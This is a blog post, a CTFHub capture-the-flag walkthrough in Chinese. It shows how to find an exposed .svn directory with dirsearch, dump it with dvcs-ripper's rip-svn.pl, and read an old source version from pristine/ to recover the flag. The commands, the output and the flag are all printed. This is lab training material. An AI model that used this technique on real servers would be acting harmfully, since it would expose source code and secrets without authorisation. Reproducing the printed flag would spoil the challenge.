CTFHub SVN泄露

原创

bfengj 于 2020-10-03 18:04:25 发布 899 收藏 1

分类专栏： 泄露 文章标签： svn linux 安全 信息安全

本文链接：https://blog.csdn.net/rfrder/article/details/108911904

泄露 专栏收录该内容

19 篇文章 1 订阅

订阅专栏

用dirsearch扫一下目录，发现了/.svn/wc.db文件的存在，说明存在SVN泄露。使用dvcs-ripper的rip-svn.pl进行处理。我是在kali里进行的，我发现在windows上的话会有玄学问题。弄了很久还是不行，但是又苦于切换系统太麻烦，最后直接装了虚拟机。生产力果然提高了很多。

就是直接在github上下载dvcs-ripper，然后进入dvcs-ripper-master文件夹里使用命令就可以了。

然后开始使用：

```
feng@feng:~/dvcs-ripper-master$ perl rip-svn.pl -u http://challenge-04a7943
4e72908c0.sandbox.ctfhub.com:10080/.svn/
[i] Found new SVN client storage format!
REP INFO ⇒ 1:file:///opt/svn/ctfhub:e43e7ef8-82fb-4194-9673-81c29de69c33
[i] Trying to revert the tree, if you get error, upgrade your SVN client!
```

再tree看看：

```
feng@feng:~/dvcs-ripper-master$ tree .svn
.svn
├── entries
├── format
├── pristine
│   ├── 66
│   │   └── 66343d965ed966d647f89f6c24f33a1cd8d9ea44.svn-base
│   └── bf
│       └── bf45c36a4dfb73378247a6311eac4f80f48fcb92.svn-base
├── text-base
├── tmp
├── wc.db
└── wc.db-journal

5 directories, 6 files
```


需要注意的是，.svn是隐藏文件，在linux下必须ls -al才能看到。

根据题目的提示，Flag 在服务端旧版本的源代码中。

注意那个tree中的pristine，里面一般存储的是代码的历史版本。我们直接进入目录，然后读取文件就可以得到flag了：

```
feng@feng:~/dvcs-ripper-master/.svn/pristine/66$ cat 66343d965ed966d647f89f
6c24f33a1cd8d9ea44.svn-base
ctfhub{9ae37f8c87514d7d9b4726ed6cc847665433bd5d}
```